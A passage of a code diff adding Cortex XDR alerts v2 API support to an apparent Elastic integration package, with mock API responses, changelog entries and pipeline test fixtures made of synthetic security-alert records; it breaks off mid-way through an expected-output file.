/\{.*"search_from":1.*"search_to":101.*\}/ + responses: + - status_code: 200 + headers: + Content-Type: + - "application/json" + body: |- + {{ minify_json ` + { + "reply":{ + "total_count": 2, + "result_count": 1, + "alerts":[ + { + "agent_os_sub_type": "", + "fw_app_category": null, + "fw_app_id": null, + "fw_app_subcategory": null, + "fw_app_technology": null, + "category": "", + "causality_actor_process_command_line": [ + "" + ], + "causality_actor_process_image_md5": [ + "" + ], + "causality_actor_process_image_name": [ + "" + ], + "causality_actor_process_image_path": [ + "" + ], + "causality_actor_process_image_sha256": [ + "" + ], + "causality_actor_process_signature_status": [ + "Signed" + ], + "causality_actor_process_signature_vendor": [ + "" + ], + "causality_actor_causality_id": [ + "" + ], + "identity_sub_type": null, + "identity_type": null, + "operation_name": null, + "project": null, + "cloud_provider": null, + "referenced_resource": null, + "resource_sub_type": null, + "resource_type": null, + "cluster_name": null, + "container_id": null, + "contains_featured_host": [ + "NO" + ], + "contains_featured_ip": [ + "NO" + ], + "contains_featured_user": [ + "NO" + ], + "action_country": [ + "UNKNOWN" + ], + "description": "The user domain\\username enabled a default account. The default account enabled: domain\\username", + "fw_interface_to": null, + "dns_query_name": null, + "agent_device_domain": null, + "fw_email_recipient": null, + "fw_email_sender": null, + "fw_email_subject": null, + "events": null, + "event_type": [ + "Process Execution" + ], + "is_whitelisted": false, + "action_file_macro_sha256": null, + "action_file_md5": null, + "action_file_name": null, + "action_file_path": null, + "action_file_sha256": null, + "fw_device_name": null, + "fw_rule_id": null, + "fw_rule": null, + "fw_serial_number": null, + "agent_fqdn": null, + "agent_os_type": "", + "image_name": null, + "actor_process_image_name": [ + "" + ], + "actor_process_command_line": [ + "" + ], + "actor_process_image_md5": [ + "" + ], + "actor_process_image_path": [ + "" + ], + "actor_process_os_pid": [ + 996 + ], + "actor_process_image_sha256": [ + "" + ], + "actor_process_signature_status": [ + "Signed" + ], + "actor_process_signature_vendor": [ + "" + ], + "actor_thread_thread_id": [ + 7452 + ], + "fw_is_phishing": [ + "N/A" + ], + "action_local_ip": null, + "action_local_port": null, + "fw_misc": null, + "mitre_tactic_id_and_name": [ + "TA0005 - Defense Evasion" + ], + "mitre_technique_id_and_name": [ + "T1089 - Disabling Security Tools" + ], + "module_id": null, + "fw_vsys": null, + "os_actor_process_command_line": [ + "" + ], + "os_actor_thread_thread_id": [ + 7205 + ], + "os_actor_process_image_name": [ + "" + ], + "os_actor_process_os_pid": [ + 996 + ], + "os_actor_process_image_sha256": [ + "" + ], + "os_actor_process_signature_status": [ + "Signed" + ], + "os_actor_process_signature_vendor": [ + "" + ], + "os_actor_effective_username": null, + "action_process_signature_status": [ + "N/A" + ], + "action_process_signature_vendor": null, + "action_registry_data": null, + "action_registry_full_key": null, + "action_external_hostname": null, + "action_remote_ip": null, + "action_remote_port": null, + "matching_service_rule_id": "", + "fw_interface_from": null, + "starred": true, + "action_process_image_command_line": null, + "action_process_image_name": null, + "action_process_image_sha256": null, + "fw_url_domain": null, + "user_agent": null, + "fw_xff": null, + "external_id": "", + "severity": "low", + "matching_status": "MATCHED", + "end_match_attempt_ts": null, + "local_insert_ts": 1673372647792, + "last_modified_ts": null, + "bioc_indicator": null, + "attempt_counter": 0, + "bioc_category_enum_key": null, + "case_id": 9629, + "deduplicate_tokens": null, + "filter_rule_id": null, + "agent_version": "", + "agent_ip_addresses_v6": null, + "agent_data_collection_status": null, + "agent_is_vdi": false, + "agent_install_type": "STANDARD", + "agent_host_boot_time": [ + 1669128165772 + ], + "event_sub_type": [ + 1 + ], + "association_strength": [ + 50 + ], + "dst_association_strength": null, + "story_id": null, + "event_id": [ + "2" + ], + "event_timestamp": [ + 1702299363118 + ], + "actor_process_instance_id": [ + "" + ], + "actor_process_causality_id": [ + "" + ], + "actor_causality_id": [ + "" + ], + "causality_actor_process_execution_time": [ + 1669528171295 + ], + "action_registry_key_name": null, + "action_registry_value_name": null, + "action_local_ip_v6": null, + "action_remote_ip_v6": null, + "action_process_instance_id": null, + "action_process_causality_id": null, + "os_actor_process_instance_id": [ + "" + ], + "os_actor_process_image_path": [ + "" + ], + "os_actor_process_causality_id": [ + "" + ], + "os_actor_causality_id": null, + "dst_agent_id": [ + "" + ], + "dst_causality_actor_process_execution_time": null, + "dst_action_external_hostname": null, + "dst_action_country": null, + "dst_action_external_port": null, + "is_pcap": false, + "alert_type": "Unclassified", + "resolution_status": "STATUS_010_NEW", + "resolution_comment": null, + "dynamic_fields": null, + "tags": [ + "ET:DESKTOP-FCCIPAN", + "EG:k8s agents", + "EG:windows" + ], + "dss_job_title": null, + "dss_department": null, + "dss_country": null, + "dss_groups": null, + "alert_id": "2", + "detection_timestamp": 1569159363318, + "name": "A user enabled the Windows DefaultAccount", + "endpoint_id": "", + "host_ip": [ + "192.168.2.2" + ], + "host_name": "", + "action": "DETECTED", + "original_tags": [ + "EG:k8s agents", + "EG:windows", + "ET:DESKTOP-FCCIPAN" + ], + "user_name": [ + "" + ], + "mac_addresses": null, + "source": null, + "action_pretty": "Detected" + } + ] + } + } + `}} + - path: /public_api/v2/alerts/get_alerts_multi_events + methods: [POST] + request_headers: + Authorization: cel-token + X-Xdr-Auth-Id: 2 + request_body: /.*/ + responses: + - status_code: 200 + headers: + Content-Type: + - "application/json" + body: |- + {{ minify_json ` + { + "reply":{ + "total_count": 2, + "result_count": 1, + "alerts":[ + { + "agent_os_sub_type": "", + "fw_app_category": null, + "fw_app_id": null, + "fw_app_subcategory": null, + "fw_app_technology": null, + "category": "", + "causality_actor_process_command_line": [ + "" + ], + "causality_actor_process_image_md5": [ + "" + ], + "causality_actor_process_image_name": [ + "" + ], + "causality_actor_process_image_path": [ + "" + ], + "causality_actor_process_image_sha256": [ + "" + ], + "causality_actor_process_signature_status": [ + "Signed" + ], + "causality_actor_process_signature_vendor": [ + "" + ], + "causality_actor_causality_id": [ + "" + ], + "identity_sub_type": null, + "identity_type": null, + "operation_name": null, + "project": null, + "cloud_provider": null, + "referenced_resource": null, + "resource_sub_type": null, + "resource_type": null, + "cluster_name": null, + "container_id": null, + "contains_featured_host": [ + "NO" + ], + "contains_featured_ip": [ + "NO" + ], + "contains_featured_user": [ + "NO" + ], + "action_country": [ + "UNKNOWN" + ], + "description": "The user domain\\username enabled a default account. The default account enabled: domain\\username", + "fw_interface_to": null, + "dns_query_name": null, + "agent_device_domain": null, + "fw_email_recipient": null, + "fw_email_sender": null, + "fw_email_subject": null, + "events": null, + "event_type": [ + "Process Execution" + ], + "is_whitelisted": false, + "action_file_macro_sha256": null, + "action_file_md5": null, + "action_file_name": null, + "action_file_path": null, + "action_file_sha256": null, + "fw_device_name": null, + "fw_rule_id": null, + "fw_rule": null, + "fw_serial_number": null, + "agent_fqdn": null, + "agent_os_type": "", + "image_name": null, + "actor_process_image_name": [ + "" + ], + "actor_process_command_line": [ + "" + ], + "actor_process_image_md5": [ + "" + ], + "actor_process_image_path": [ + "" + ], + "actor_process_os_pid": [ + 996 + ], + "actor_process_image_sha256": [ + "" + ], + "actor_process_signature_status": [ + "Signed" + ], + "actor_process_signature_vendor": [ + "" + ], + "actor_thread_thread_id": [ + 7452 + ], + "fw_is_phishing": [ + "N/A" + ], + "action_local_ip": null, + "action_local_port": null, + "fw_misc": null, + "mitre_tactic_id_and_name": [ + "TA0005 - Defense Evasion" + ], + "mitre_technique_id_and_name": [ + "T1089 - Disabling Security Tools" + ], + "module_id": null, + "fw_vsys": null, + "os_actor_process_command_line": [ + "" + ], + "os_actor_thread_thread_id": [ + 7205 + ], + "os_actor_process_image_name": [ + "" + ], + "os_actor_process_os_pid": [ + 996 + ], + "os_actor_process_image_sha256": [ + "" + ], + "os_actor_process_signature_status": [ + "Signed" + ], + "os_actor_process_signature_vendor": [ + "" + ], + "os_actor_effective_username": null, + "action_process_signature_status": [ + "N/A" + ], + "action_process_signature_vendor": null, + "action_registry_data": null, + "action_registry_full_key": null, + "action_external_hostname": null, + "action_remote_ip": null, + "action_remote_port": null, + "matching_service_rule_id": "", + "fw_interface_from": null, + "starred": true, + "action_process_image_command_line": null, + "action_process_image_name": null, + "action_process_image_sha256": null, + "fw_url_domain": null, + "user_agent": null, + "fw_xff": null, + "external_id": "", + "severity": "low", + "matching_status": "MATCHED", + "end_match_attempt_ts": null, + "local_insert_ts": 1673372647792, + "last_modified_ts": null, + "bioc_indicator": null, + "attempt_counter": 0, + "bioc_category_enum_key": null, + "case_id": 9629, + "deduplicate_tokens": null, + "filter_rule_id": null, + "agent_version": "", + "agent_ip_addresses_v6": null, + "agent_data_collection_status": null, + "agent_is_vdi": false, + "agent_install_type": "STANDARD", + "agent_host_boot_time": [ + 1669128165772 + ], + "event_sub_type": [ + 1 + ], + "association_strength": [ + 50 + ], + "dst_association_strength": null, + "story_id": null, + "event_id": [ + "" + ], + "event_timestamp": [ + 1701299363118 + ], + "actor_process_instance_id": [ + "" + ], + "actor_process_causality_id": [ + "" + ], + "actor_causality_id": [ + "" + ], + "causality_actor_process_execution_time": [ + 1669528171295 + ], + "action_registry_key_name": null, + "action_registry_value_name": null, + "action_local_ip_v6": null, + "action_remote_ip_v6": null, + "action_process_instance_id": null, + "action_process_causality_id": null, + "os_actor_process_instance_id": [ + "" + ], + "os_actor_process_image_path": [ + "" + ], + "os_actor_process_causality_id": [ + "" + ], + "os_actor_causality_id": null, + "dst_agent_id": [ + "" + ], + "dst_causality_actor_process_execution_time": null, + "dst_action_external_hostname": null, + "dst_action_country": null, + "dst_action_external_port": null, + "is_pcap": false, + "alert_type": "Unclassified", + "resolution_status": "STATUS_010_NEW", + "resolution_comment": null, + "dynamic_fields": null, + "tags": [ + "ET:DESKTOP-FCCIPAN", + "EG:k8s agents", + "EG:windows" + ], + "dss_job_title": null, + "dss_department": null, + "dss_country": null, + "dss_groups": null, + "alert_id": "1", + "detection_timestamp": 1569159363318, + "name": "A user enabled the Windows DefaultAccount", + "endpoint_id": "", + "host_ip": [ + "192.168.2.2" + ], + "host_name": "", + "action": "DETECTED", + "original_tags": [ + "EG:k8s agents", + "EG:windows", + "ET:DESKTOP-FCCIPAN" + ], + "user_name": [ + "" + ], + "mac_addresses": null, + "source": null, + "action_pretty": "Detected" + } + ] + } + } + `}} - path: /public_api/v1/alerts/get_alerts_multi_events methods: [POST] request_headers: diff --git a/packages/panw_cortex_xdr/changelog.yml b/packages/panw_cortex_xdr/changelog.yml index 36e171887a0..931b8d8726a 100644 --- a/packages/panw_cortex_xdr/changelog.yml +++ b/packages/panw_cortex_xdr/changelog.yml @@ -1,4 +1,14 @@ # newer versions go on top +- version: "2.1.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 +- version: "2.0.0" + changes: + - description: Add support for alerts v2 API. + type: enhancement + link: https://github.com/elastic/integrations/pull/12725 - version: "1.32.1" changes: - description: Delete the `remove` processor thats clearing all fields and update rename processors with `override - true`. diff --git a/packages/panw_cortex_xdr/data_stream/alerts/_dev/test/pipeline/test-panw-xdr-v2.log b/packages/panw_cortex_xdr/data_stream/alerts/_dev/test/pipeline/test-panw-xdr-v2.log new file mode 100644 index 00000000000..bdbf1b4f6cc --- /dev/null +++ b/packages/panw_cortex_xdr/data_stream/alerts/_dev/test/pipeline/test-panw-xdr-v2.log @@ -0,0 +1,3 @@ +{"agent_os_sub_type":"","fw_app_category":null,"fw_app_id":null,"fw_app_subcategory":null,"fw_app_technology":null,"category":"","causality_actor_process_command_line":["/usr/bin/ssh -l user 10.0.0.16"],"causality_actor_process_image_md5":["5eb63fb92d72bc703c3d81b2c133d713"],"causality_actor_process_image_name":[""],"causality_actor_process_image_path":[""],"causality_actor_process_image_sha256":["a54d6aa2d0bc4e37f06789125f5d732e822da3f0dd2b482c851c8ee5ae8ee8ad"],"causality_actor_process_signature_status":["Signed"],"causality_actor_process_signature_vendor":[""],"causality_actor_causality_id":[""],"identity_sub_type":null,"identity_type":null,"operation_name":null,"project":null,"cloud_provider":null,"referenced_resource":null,"resource_sub_type":null,"resource_type":null,"cluster_name":null,"container_id":null,"contains_featured_host":["NO"],"contains_featured_ip":["NO"],"contains_featured_user":["NO"],"action_country":["UNKNOWN"],"description":"The user domain\\username enabled a default account. The default account enabled: domain\\username","fw_interface_to":null,"dns_query_name":null,"agent_device_domain":null,"fw_email_recipient":null,"fw_email_sender":null,"fw_email_subject":null,"events":null,"event_type":["Process Execution"],"is_whitelisted":false,"action_file_macro_sha256":null,"action_file_md5":null,"action_file_name":null,"action_file_path":null,"action_file_sha256":null,"fw_device_name":null,"fw_rule_id":null,"fw_rule":null,"fw_serial_number":null,"agent_fqdn":null,"agent_os_type":"","image_name":null,"actor_process_image_name":[""],"actor_process_command_line":[""],"actor_process_image_md5":["5eb63fb92d72bc703c3d81b2c133d713"],"actor_process_image_path":[""],"actor_process_os_pid":[996],"actor_process_image_sha256":["a54d6aa2d0bc4e37f06789125f5d732e822da3f0dd2b482c851c8ee5ae8ee8ad"],"actor_process_signature_status":["Signed"],"actor_process_signature_vendor":[""],"actor_thread_thread_id":[7452],"fw_is_phishing":["N/A"],"action_local_ip":["89.160.20.128"],"action_local_port":[8080],"fw_misc":null,"mitre_tactic_id_and_name":["TA0005 - Defense Evasion"],"mitre_technique_id_and_name":["T1089 - Disabling Security Tools"],"module_id":null,"fw_vsys":null,"os_actor_process_command_line":[""],"os_actor_thread_thread_id":[7205],"os_actor_process_image_name":[""],"os_actor_process_os_pid":[996],"os_actor_process_image_sha256":["a54d6aa2d0bc4e37f06789125f5d732e822da3f0dd2b482c851c8ee5ae8ee8ad"],"os_actor_process_signature_status":["Signed"],"os_actor_process_signature_vendor":[""],"os_actor_effective_username":null,"action_process_signature_status":["N/A"],"action_process_signature_vendor":null,"action_registry_data":null,"action_registry_full_key":null,"action_external_hostname":null,"action_remote_ip":["1.128.0.0", "67.43.156.0", "89.160.20.128"],"action_remote_port":[9099],"matching_service_rule_id":"","fw_interface_from":null,"starred":true,"action_process_image_command_line":null,"action_process_image_name":null,"action_process_image_sha256":null,"fw_url_domain":null,"user_agent":null,"fw_xff":null,"external_id":"","severity":"low","matching_status":"MATCHED","end_match_attempt_ts":null,"local_insert_ts":1673372647792,"last_modified_ts":null,"bioc_indicator":null,"attempt_counter":0,"bioc_category_enum_key":null,"case_id":9629,"deduplicate_tokens":null,"filter_rule_id":null,"agent_version":"","agent_ip_addresses_v6":null,"agent_data_collection_status":null,"agent_is_vdi":false,"agent_install_type":"STANDARD","agent_host_boot_time":[1669128165772],"event_sub_type":[1],"association_strength":[50],"dst_association_strength":null,"story_id":null,"event_id":["2"],"event_timestamp":[1562199363118],"actor_process_instance_id":[""],"actor_process_causality_id":[""],"actor_causality_id":[""],"causality_actor_process_execution_time":[1669528171295],"action_registry_key_name":null,"action_registry_value_name":null,"action_local_ip_v6":["2a02:cf40::"],"action_remote_ip_v6":null,"action_process_instance_id":null,"action_process_causality_id":null,"os_actor_process_instance_id":[""],"os_actor_process_image_path":[""],"os_actor_process_causality_id":[""],"os_actor_causality_id":null,"dst_agent_id":[""],"dst_causality_actor_process_execution_time":null,"dst_action_external_hostname":null,"dst_action_country":null,"dst_action_external_port":null,"is_pcap":false,"alert_type":"Unclassified","resolution_status":"STATUS_010_NEW","resolution_comment":null,"dynamic_fields":null,"tags":["ET:DESKTOP-FCCIPAN","EG:k8s agents","EG:windows"],"dss_job_title":null,"dss_department":null,"dss_country":null,"dss_groups":null,"alert_id":"2","detection_timestamp":1569159363318,"name":"A user enabled the Windows DefaultAccount","endpoint_id":"","host_ip":["192.168.2.2"],"host_name":"","action":"DETECTED","original_tags":["EG:k8s agents","EG:windows","ET:DESKTOP-FCCIPAN"],"user_name":["bob@example.com"],"mac_addresses":null,"source":null,"action_pretty":"Detected"} +{"agent_os_sub_type":"","fw_app_category":null,"fw_app_id":null,"fw_app_subcategory":null,"fw_app_technology":null,"category":"","causality_actor_process_command_line":[""],"causality_actor_process_image_md5":["5eb63fb92d72bc703c3d81b2c133d713"],"causality_actor_process_image_name":[""],"causality_actor_process_image_path":[""],"causality_actor_process_image_sha256":["a54d6aa2d0bc4e37f06789125f5d732e822da3f0dd2b482c851c8ee5ae8ee8ad"],"causality_actor_process_signature_status":["Signed"],"causality_actor_process_signature_vendor":[""],"causality_actor_causality_id":[""],"identity_sub_type":null,"identity_type":null,"operation_name":null,"project":null,"cloud_provider":null,"referenced_resource":null,"resource_sub_type":null,"resource_type":null,"cluster_name":null,"container_id":null,"contains_featured_host":["NO"],"contains_featured_ip":["NO"],"contains_featured_user":["NO"],"action_country":["UNKNOWN"],"description":"The user domain\\username enabled a default account. The default account enabled: domain\\username","fw_interface_to":null,"dns_query_name":null,"agent_device_domain":null,"fw_email_recipient":null,"fw_email_sender":null,"fw_email_subject":null,"events":null,"event_type":["Process Execution"],"is_whitelisted":false,"action_file_macro_sha256":null,"action_file_md5":null,"action_file_name":null,"action_file_path":null,"action_file_sha256":null,"fw_device_name":null,"fw_rule_id":null,"fw_rule":null,"fw_serial_number":null,"agent_fqdn":null,"agent_os_type":"","image_name":null,"actor_process_image_name":[""],"actor_process_command_line":[""],"actor_process_image_md5":["5eb63fb92d72bc703c3d81b2c133d713"],"actor_process_image_path":[""],"actor_process_os_pid":[996],"actor_process_image_sha256":["a54d6aa2d0bc4e37f06789125f5d732e822da3f0dd2b482c851c8ee5ae8ee8ad"],"actor_process_signature_status":["Signed"],"actor_process_signature_vendor":[""],"actor_thread_thread_id":[7452],"fw_is_phishing":["N/A"],"action_local_ip":["67.43.156.0"],"action_local_port":null,"fw_misc":null,"mitre_tactic_id_and_name":["TA0005 - Defense Evasion"],"mitre_technique_id_and_name":["T1089 - Disabling Security Tools"],"module_id":null,"fw_vsys":null,"os_actor_process_command_line":[""],"os_actor_thread_thread_id":[7205],"os_actor_process_image_name":[""],"os_actor_process_os_pid":[996],"os_actor_process_image_sha256":["a54d6aa2d0bc4e37f06789125f5d732e822da3f0dd2b482c851c8ee5ae8ee8ad"],"os_actor_process_signature_status":["Signed"],"os_actor_process_signature_vendor":[""],"os_actor_effective_username":null,"action_process_signature_status":["N/A"],"action_process_signature_vendor":null,"action_registry_data":null,"action_registry_full_key":null,"action_external_hostname":null,"action_remote_ip":null,"action_remote_port":null,"matching_service_rule_id":"","fw_interface_from":null,"starred":true,"action_process_image_command_line":null,"action_process_image_name":null,"action_process_image_sha256":null,"fw_url_domain":null,"user_agent":null,"fw_xff":null,"external_id":"","severity":"low","matching_status":"MATCHED","end_match_attempt_ts":null,"local_insert_ts":1673372647792,"last_modified_ts":null,"bioc_indicator":null,"attempt_counter":0,"bioc_category_enum_key":null,"case_id":9629,"deduplicate_tokens":null,"filter_rule_id":null,"agent_version":"","agent_ip_addresses_v6":null,"agent_data_collection_status":null,"agent_is_vdi":false,"agent_install_type":"STANDARD","agent_host_boot_time":[1669128165772],"event_sub_type":[1],"association_strength":[50],"dst_association_strength":null,"story_id":null,"event_id":[""],"event_timestamp":[1662199363118],"actor_process_instance_id":[""],"actor_process_causality_id":[""],"actor_causality_id":[""],"causality_actor_process_execution_time":[1669528171295],"action_registry_key_name":null,"action_registry_value_name":null,"action_local_ip_v6":["2a02:cf40::"],"action_remote_ip_v6":null,"action_process_instance_id":null,"action_process_causality_id":null,"os_actor_process_instance_id":[""],"os_actor_process_image_path":[""],"os_actor_process_causality_id":[""],"os_actor_causality_id":null,"dst_agent_id":[""],"dst_causality_actor_process_execution_time":null,"dst_action_external_hostname":null,"dst_action_country":null,"dst_action_external_port":null,"is_pcap":false,"alert_type":"Unclassified","resolution_status":"STATUS_010_NEW","resolution_comment":null,"dynamic_fields":null,"tags":["ET:DESKTOP-FCCIPAN","EG:k8s agents","EG:windows"],"dss_job_title":null,"dss_department":null,"dss_country":null,"dss_groups":null,"alert_id":"1","detection_timestamp":1569159363318,"name":"A user enabled the Windows DefaultAccount","endpoint_id":"","host_ip":["192.168.2.2"],"host_name":"","action":"DETECTED","original_tags":["EG:k8s agents","EG:windows","ET:DESKTOP-FCCIPAN"],"user_name":["alice\\example"],"mac_addresses":null,"source":null,"action_pretty":"Detected"} +{"external_id":"213141efab31231abcdef2323190863","severity":"low","matching_status":"UNMATCHABLE","end_match_attempt_ts":null,"local_insert_ts":1739791249619,"last_modified_ts":null,"bioc_indicator":null,"matching_service_rule_id":null,"attempt_counter":0,"bioc_category_enum_key":null,"case_id":null,"is_whitelisted":false,"starred":false,"deduplicate_tokens":"461f99cdc7384158871fdd09b15eab03,d802719b3ce44eee880eaf8b5b0fd0e6","filter_rule_id":0,"mitre_technique_id_and_name":null,"mitre_tactic_id_and_name":null,"agent_version":null,"agent_ip_addresses_v6":null,"agent_device_domain":null,"agent_fqdn":null,"agent_os_type":"NO_HOST","agent_os_sub_type":null,"agent_data_collection_status":null,"agent_is_vdi":null,"agent_install_type":"NA","agent_host_boot_time":null,"event_sub_type":null,"module_id":null,"association_strength":null,"dst_association_strength":null,"story_id":null,"event_id":null,"event_type":["Network Event"],"event_timestamp":null,"actor_process_instance_id":null,"actor_process_image_path":null,"actor_process_image_name":null,"actor_process_command_line":null,"actor_process_signature_status":["N/A"],"actor_process_signature_vendor":null,"actor_process_image_sha256":null,"actor_process_image_md5":null,"actor_process_causality_id":null,"actor_causality_id":null,"actor_process_os_pid":null,"actor_thread_thread_id":null,"causality_actor_process_image_name":null,"causality_actor_process_command_line":null,"causality_actor_process_image_path":null,"causality_actor_process_signature_vendor":null,"causality_actor_process_signature_status":["N/A"],"causality_actor_causality_id":null,"causality_actor_process_execution_time":null,"causality_actor_process_image_md5":null,"causality_actor_process_image_sha256":null,"action_file_path":null,"action_file_name":null,"action_file_md5":null,"action_file_sha256":null,"action_file_macro_sha256":null,"action_registry_data":null,"action_registry_key_name":null,"action_registry_value_name":null,"action_registry_full_key":null,"action_local_ip":["127.0.0.1"],"action_local_ip_v6":["2a02:cf40::"],"action_local_port":[8080],"action_remote_ip":["0.0.0.0"],"action_remote_ip_v6":["2a02:cf40::"],"action_remote_port":[80],"action_external_hostname":null,"action_country":["UNKNOWN"],"action_process_instance_id":null,"action_process_causality_id":null,"action_process_image_name":null,"action_process_image_sha256":null,"action_process_image_command_line":null,"action_process_signature_status":["N/A"],"action_process_signature_vendor":null,"os_actor_effective_username":null,"os_actor_process_instance_id":null,"os_actor_process_image_path":null,"os_actor_process_image_name":null,"os_actor_process_command_line":null,"os_actor_process_signature_status":["N/A"],"os_actor_process_signature_vendor":null,"os_actor_process_image_sha256":null,"os_actor_process_causality_id":null,"os_actor_causality_id":null,"os_actor_process_os_pid":null,"os_actor_thread_thread_id":null,"fw_app_id":null,"fw_interface_from":null,"fw_interface_to":null,"fw_rule":null,"fw_rule_id":null,"fw_device_name":null,"fw_serial_number":null,"fw_url_domain":null,"fw_email_subject":null,"fw_email_sender":null,"fw_email_recipient":null,"fw_app_subcategory":null,"fw_app_category":null,"fw_app_technology":null,"fw_vsys":null,"fw_xff":null,"fw_misc":null,"fw_is_phishing":["N/A"],"dst_agent_id":null,"dst_causality_actor_process_execution_time":null,"dns_query_name":null,"dst_action_external_hostname":null,"dst_action_country":null,"dst_action_external_port":null,"is_pcap":false,"contains_featured_host":["NO"],"contains_featured_user":["NO"],"contains_featured_ip":["NO"],"image_name":null,"image_id":null,"container_id":null,"container_name":null,"namespace":null,"cluster_name":null,"referenced_resource":null,"operation_name":null,"identity_sub_type":null,"identity_type":null,"project":null,"cloud_provider":null,"resource_type":null,"resource_sub_type":null,"user_agent":null,"alert_type":"Unclassified","resolution_status":"STATUS_010_NEW","resolution_comment":null,"dynamic_fields":null,"tags":["DS:Test vendor-1/VPN & Firewall-1"],"malicious_urls":null,"alert_id":"2","detection_timestamp":1739784711000,"name":"Alert Name Example 1","category":null,"endpoint_id":null,"description":"Alert Description 1","host_ip":null,"host_name":null,"action":"REPORTED","source":"Test vendor-1 - VPN & Firewall-1","original_tags":["DS:Test vendor-1/VPN & Firewall-1"],"user_name":null,"mac_addresses":null,"action_pretty":"Detected (Reported)"} diff --git a/packages/panw_cortex_xdr/data_stream/alerts/_dev/test/pipeline/test-panw-xdr-v2.log-config.yml b/packages/panw_cortex_xdr/data_stream/alerts/_dev/test/pipeline/test-panw-xdr-v2.log-config.yml new file mode 100644 index 00000000000..18913352a00 --- /dev/null +++ b/packages/panw_cortex_xdr/data_stream/alerts/_dev/test/pipeline/test-panw-xdr-v2.log-config.yml @@ -0,0 +1,6 @@ +fields: + _conf: + api: v2 + tags: + - preserve_original_event + - preserve_duplicate_custom_fields diff --git a/packages/panw_cortex_xdr/data_stream/alerts/_dev/test/pipeline/test-panw-xdr-v2.log-expected.json b/packages/panw_cortex_xdr/data_stream/alerts/_dev/test/pipeline/test-panw-xdr-v2.log-expected.json new file mode 100644 index 00000000000..c4001c4f698 --- /dev/null +++ b/packages/panw_cortex_xdr/data_stream/alerts/_dev/test/pipeline/test-panw-xdr-v2.log-expected.json @@ -0,0 +1,785 @@ +{ + "expected": [ + { + "@timestamp": "2019-07-04T00:16:03.118Z", + "destination": { + "as": { + "number": 1221, + "organization": { + "name": "Telstra Pty Ltd" + } + }, + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "1.128.0.0", + "67.43.156.0", + "89.160.20.128" + ], + "port": [ + 9099 + ] + }, + "ecs": { + "version": "8.11.0" + }, + "event": { + "action": "DETECTED", + "category": [ + "malware" + ], + "created": "2019-09-22T13:36:03.318Z", + "id": "", + "kind": "alert", + "original": "{\"agent_os_sub_type\":\"\",\"fw_app_category\":null,\"fw_app_id\":null,\"fw_app_subcategory\":null,\"fw_app_technology\":null,\"category\":\"\",\"causality_actor_process_command_line\":[\"/usr/bin/ssh -l user 10.0.0.16\"],\"causality_actor_process_image_md5\":[\"5eb63fb92d72bc703c3d81b2c133d713\"],\"causality_actor_process_image_name\":[\"\"],\"causality_actor_process_image_path\":[\"\"],\"causality_actor_process_image_sha256\":[\"a54d6aa2d0bc4e37f06789125f5d732e822da3f0dd2b482c851c8ee5ae8ee8ad\"],\"causality_actor_process_signature_status\":[\"Signed\"],\"causality_actor_process_signature_vendor\":[\"\"],\"causality_actor_causality_id\":[\"\"],\"identity_sub_type\":null,\"identity_type\":null,\"operation_name\":null,\"project\":null,\"cloud_provider\":null,\"referenced_resource\":null,\"resource_sub_type\":null,\"resource_type\":null,\"cluster_name\":null,\"container_id\":null,\"contains_featured_host\":[\"NO\"],\"contains_featured_ip\":[\"NO\"],\"contains_featured_user\":[\"NO\"],\"action_country\":[\"UNKNOWN\"],\"description\":\"The user domain\\\\username enabled a default account. The default account enabled: domain\\\\username\",\"fw_interface_to\":null,\"dns_query_name\":null,\"agent_device_domain\":null,\"fw_email_recipient\":null,\"fw_email_sender\":null,\"fw_email_subject\":null,\"events\":null,\"event_type\":[\"Process Execution\"],\"is_whitelisted\":false,\"action_file_macro_sha256\":null,\"action_file_md5\":null,\"action_file_name\":null,\"action_file_path\":null,\"action_file_sha256\":null,\"fw_device_name\":null,\"fw_rule_id\":null,\"fw_rule\":null,\"fw_serial_number\":null,\"agent_fqdn\":null,\"agent_os_type\":\"\",\"image_name\":null,\"actor_process_image_name\":[\"\"],\"actor_process_command_line\":[\"\"],\"actor_process_image_md5\":[\"5eb63fb92d72bc703c3d81b2c133d713\"],\"actor_process_image_path\":[\"\"],\"actor_process_os_pid\":[996],\"actor_process_image_sha256\":[\"a54d6aa2d0bc4e37f06789125f5d732e822da3f0dd2b482c851c8ee5ae8ee8ad\"],\"actor_process_signature_status\":[\"Signed\"],\"actor_process_signature_vendor\":[\"\"],\"actor_thread_thread_id\":[7452],\"fw_is_phishing\":[\"N/A\"],\"action_local_ip\":[\"89.160.20.128\"],\"action_local_port\":[8080],\"fw_misc\":null,\"mitre_tactic_id_and_name\":[\"TA0005 - Defense Evasion\"],\"mitre_technique_id_and_name\":[\"T1089 - Disabling Security Tools\"],\"module_id\":null,\"fw_vsys\":null,\"os_actor_process_command_line\":[\"\"],\"os_actor_thread_thread_id\":[7205],\"os_actor_process_image_name\":[\"\"],\"os_actor_process_os_pid\":[996],\"os_actor_process_image_sha256\":[\"a54d6aa2d0bc4e37f06789125f5d732e822da3f0dd2b482c851c8ee5ae8ee8ad\"],\"os_actor_process_signature_status\":[\"Signed\"],\"os_actor_process_signature_vendor\":[\"\"],\"os_actor_effective_username\":null,\"action_process_signature_status\":[\"N/A\"],\"action_process_signature_vendor\":null,\"action_registry_data\":null,\"action_registry_full_key\":null,\"action_external_hostname\":null,\"action_remote_ip\":[\"1.128.0.0\", \"67.43.156.0\", \"89.160.20.128\"],\"action_remote_port\":[9099],\"matching_service_rule_id\":\"\",\"fw_interface_from\":null,\"starred\":true,\"action_process_image_command_line\":null,\"action_process_image_name\":null,\"action_process_image_sha256\":null,\"fw_url_domain\":null,\"user_agent\":null,\"fw_xff\":null,\"external_id\":\"\",\"severity\":\"low\",\"matching_status\":\"MATCHED\",\"end_match_attempt_ts\":null,\"local_insert_ts\":1673372647792,\"last_modified_ts\":null,\"bioc_indicator\":null,\"attempt_counter\":0,\"bioc_category_enum_key\":null,\"case_id\":9629,\"deduplicate_tokens\":null,\"filter_rule_id\":null,\"agent_version\":\"\",\"agent_ip_addresses_v6\":null,\"agent_data_collection_status\":null,\"agent_is_vdi\":false,\"agent_install_type\":\"STANDARD\",\"agent_host_boot_time\":[1669128165772],\"event_sub_type\":[1],\"association_strength\":[50],\"dst_association_strength\":null,\"story_id\":null,\"event_id\":[\"2\"],\"event_timestamp\":[1562199363118],\"actor_process_instance_id\":[\"\"],\"actor_process_causality_id\":[\"\"],\"actor_causality_id\":[\"\"],\"causality_actor_process_execution_time\":[1669528171295],\"a